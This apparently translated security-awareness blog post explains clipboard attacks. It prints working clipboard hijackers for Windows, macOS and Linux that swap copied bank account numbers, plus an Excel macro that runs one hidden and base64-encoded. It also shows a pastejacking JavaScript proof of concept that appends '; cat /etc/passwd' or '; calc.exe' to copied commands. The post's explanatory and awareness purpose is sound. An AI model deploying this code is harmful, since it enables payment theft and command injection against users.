Can CTRL+C and CTRL+V be dangerous?

CTRL+C and CTRL+V - what could possibly go wrong? Probably the most obvious example is the following situation: you copy an account number from an invoice you need to pay, you log in to your online banking, you create a new transfer, you click on the recipient's account number field and paste the text you copied earlier, you confirm the operation with an SMS, a code or whatever else, and you send the transfer - all on autopilot, without paying attention to the details - business as usual. After some time, the person or company you sent the transfer to comes asking about the payment. It turns out the transfer never reached them, but went instead… to a money mule's account, that is, someone completely different. Yes, malware was running on your computer, checking whether what you copied was an account number and, if so, swapping it for an account number controlled by criminals.

Is such malware hard to write? Nothing could be further from the truth. Let's look at an example for Windows - in PowerShell.

$slup = "12200000001234123400000000"
for (;;) {
    $clip = get-clipboard -format text
    if (($clip -match "^[0-9 -]+$") -and (($clip -replace "[^0-9]","").Length -eq 26)) {
        Set-Clipboard $slup
    }
    start-sleep 1
}

What is happening here? We create an infinite loop (for(;;)), then we read the clipboard value with Get-Clipboard into the $clip variable. Next we check whether what we copied contains only digits, spaces and dashes. If so, we strip out all characters that are not digits - if the result is a string of 26 digits, we assume it is an account number and swap it (Set-Clipboard) for the one we defined earlier in the $slup variable.

Now all that is left is to deliver such a script to the victim, for example base64-encoded inside an Excel macro:

Sub Workbook_Open

    Shell "cmd /c powershell -w h -enc JABzAGwAdQBwACAAPQAgACIANQA3ADEAMQA0ADAAMAAwADAAMAAzADUAOAA2ADQAOAA3ADQAMQAxADUANgA2ADYANAAyACIADQAKAGYAbwByACAAKAA7ADsAKQAgAHsADQAKACAAIAAgACAAJABjAGwAaQBwACAAPQAgAGcAZQB0AC0AYwBsAGkAcABiAG8AYQByAGQAIAAtAGYAbwByAG0AYQB0ACAAdABlAHgAdAANAAoAIAAgACAAIABpAGYAIAAoACgAJABjAGwAaQBwACAALQBtAGEAdABjAGgAIAAiAF4AWwAwAC0AOQAgAC0AXQArACQAIgApACAALQBhAG4AZAAgACgAKAAkAGMAbABpAHAAIAAtAHIAZQBwAGwAYQBjAGUAIAAiAFsAXgAwAC0AOQBdACIALAAiACIAKQAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyADYAKQApACAAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQB0AC0AQwBsAGkAcABiAG8AYQByAGQAIAAkAHMAbAB1AHAADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgB9AA=="

End Sub

and Evil happens. Yes, it really is that simple - which is why it is important that you tell your friends once again not to agree to enabling macros.

MacBook users are surely safe, right?

Errr, no. Instead of PowerShell, all it takes is running a script like this on Mac OS X:

#!/bin/bash

slup="12200000001234123400000000"
while [ True ]; do
    clip=`pbpaste`
    if [[ "$clip" =~ ^[-0-9\ ]+$ ]]; then
        clip=${clip//[^0-9]/}
        if [[ "$clip" =~ ^[0-9]{26}$ ]]; then
            echo -n $slup|pbcopy
        fi
    fi
    sleep 1
done

and it will do exactly the same thing - every second it will check whether an account number has been copied and, if so, swap it for a money mule's account. There are quite a few ways to run code remotely on MacBooks too, maybe we will look into that someday..

And Linux users? They surely have nothing to worry about..

On Linux you can access the clipboard with the xsel and xclip tools. A version of this script for Linux, using the xsel command, could look for example like this:

#!/bin/bash

slup="12200000001234123400000000"
while [ True ]; do
    clip=`xsel --clipboard -o`
    if [[ "$clip" =~ ^[-0-9\ ]+$ ]]; then
        clip=${clip//[^0-9]/}
        if [[ "$clip" =~ ^[0-9]{26}$ ]]; then
            echo -n $slup|xsel --clipboard -i
        fi
    fi
    sleep 1
done

But how do you actually get these scripts to run on someone's computer? Surely infecting a Mac, Linux, Unix or the latest, fully updated Windows is not that easy. Surely. ;)

A little bit of magic

If you are a Linux (or Mac OS X) user, copy the text in the input below and paste it into your terminal. It will be fun.

And if Windows users want to join the fun too, fire up a PowerShell console and paste this into it:

Done? Then let me explain what is going on.

Does it make sense to trust text copied in a web browser?

Did you copy the contents of the input mentioned earlier and paste it into the console? If not, I sincerely encourage you to, and I promise nothing bad will happen. But could it?

Some time ago a fellow professional shared an interesting attack vector - tricking the user about what they are really selecting and copying on a web page. The idea struck me as clever enough that a few minutes later I already had a proof-of-concept written, though I did not go public with it, so as not to spoil the fun for Borys, or rather for his clients. Borys and his team did it in a very interesting way, using CSS styles describing hidden HTML elements, whereas my PoC relied on JavaScript's ability to access the clipboard.

If you copied and pasted the inputs mentioned earlier somewhere, you probably noticed for yourselves what happened. If you did not, copy one of the inputs containing echo or Write-Host and paste it into Notepad, vim, or into the field below.

If everything went according to plan, in the case of the first input the text ; cat /etc/passwd was additionally copied, and in the case of the second one ; calc.exe - so if you actually ran the exercise in the console, Unix users should have seen their /etc/passwd file, and Windows users should have had the calculator pop up.

All thanks to an extremely simple JavaScript script:

<script>
document.addEventListener('copy', function(e) {
    if (appendOnCopy = (e.target.getAttribute("appendOnCopy"))) {
        var clipboardData = e.clipboardData || window.clipboardData;
        clipboardData.setData('text', e.target.value + appendOnCopy + "\n"); 
        e.preventDefault();
    }
});
</script>

and inputs with the appendOnCopy attributes I added:

<input type="text" readonly="readonly" value="echo 'Dzien dobry konsolko Linux/Mac OS X/Unix'" appendOnCopy="; cat /etc/passwd" />

and

<input type="text" readonly="readonly" value="Write-Host 'Dzien dobry konsolko Powershella'"/ appendOnCopy="; calc.exe">

When any text on this page is selected and copied, an event fires that is caught by document.addEventListener('copy', function(e) { ..., which then checks whether the element the copied data comes from has an appendOnCopy attribute - if so, the contents of that attribute are appended to the clipboard.

As a result, the user, thinking they copied a nice one-liner, is actually copying a one-liner with a surprise. Of course, in a real attack, instead of printing /etc/passwd or launching a calculator, the surprise could run another one-liner containing some malicious payload.

With multi-line text (e.g. source code) it would be even easier for criminals to hide some malicious code.

Cool? ;-) At aptm.in/evilpaste there is a very simple proof-of-concept that you can share with your friends to raise their awareness a little.

To carry out this kind of attack, which can ultimately lead to running malware even on the computers of technical, aware people, all you need is to be able to sneak in a piece of JavaScript code and get someone to copy text from a given web page into their console. Maybe this sounds far-fetched and unrealistic, but consider these three scenarios:

1. a technical blog appears online that perfectly matches the topics your company's engineers deal with,
2. on a widely read technical blog cybercriminals identify a Stored XSS vulnerability or gain access to one of the editors' accounts,
3. cybercriminals gain access to a CDN serving popular JavaScript libraries, e.g. JQuery, which is used among others by stackoverflow.